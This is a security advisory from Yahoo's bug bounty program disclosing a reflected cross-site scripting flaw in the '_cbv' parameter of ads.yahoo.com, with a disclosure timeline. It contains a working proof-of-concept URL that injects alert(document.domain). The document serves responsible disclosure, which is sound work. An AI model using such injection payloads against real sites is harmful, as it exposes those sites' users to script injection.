Advisory: Yahoo Bug Bounty Program Vulnerability #1 XSS on ads.yahoo.com Advisory ID: SSCHADV2013-YahooBB-001 Author: Stefan Schurtz Affected Software: Successfully tested on ads.yahoo.com Vendor URL: http://yahoo.com/ Vendor Status: Seems to be fixed Bounty: nothing ========================== Vulnerability Description ========================== The '_cbv'-Paramter on "http://ads.yahoo.com" is prone to a Cross-site Scripting vulnerability ========================== PoC-Exploit ========================== http://ads.yahoo.com/st?ad_type=iframe&ad_size=300x250&site=1181425§ion_code=112260532& cb=1385497647.226089&publisher_blob=${RS}|gmGLFTE4OC4mbYnzUpH6dwEQOTMuMlKVBC__yxq4 |2143911627|LREC2|1385497647.226089&yud=smpv%3d3%26ed%3dzxE1dF31xQzMnXQidpJpWNtP OVygJhcHBknzVCnpTraLTXtt8jO7OEVYpCbxEhJcwmU2x.ekTqffsDUVYgceDTs.NijijL.tGPKwsdRUsLvxftzYGe .0VUghSSHioqjLjQJ7KaidIocpC1oj2SKC4lg_EhLiMsmgXiq6wbNVL_VzG1fHxP77ptF04VC7jL7lL1vr0iRs.r6 8cRSLiFUFzH_pvnaxUy8-&_msd=1&_xcf=1&_exv=RDnhGI4wnN7uv.jS65VPBVAFmZBbevIBHZGnRIl5vxDV&_msig=10sorm5kd&rmxbkn=0&_cbv=132025816&81c91"-alert(document.domain)-"1580bfdcb31=1 ========================== Disclosure Timeline ========================== 28-Nov-2013 - vendor informed by contact form (Yahoo Bug Bounty Program) 31-Dec-2013 - next message to the Yahoo Securiy Contact 04-Jan-2014 - feedback from vendor 04-Jan-2014 - vendor informed again about the three vulnerabilities 06-Jan-2014 - feedback from vendor 15-Jan-2014 - contact with Jeff Zingler (Threat Response @ Yahoo) 16-Jan-2013 - contact with Jeff Zingler (Threat Response @ Yahoo) // last contact ========================== Credits ========================== Vulnerability found and advisory written by Stefan Schurtz. ========================== References ========================== http://yahoo.com/ http://www.darksecurity.de/advisories/BugBounty/yahoo/SSCHADV2013-YahooBB-001.txt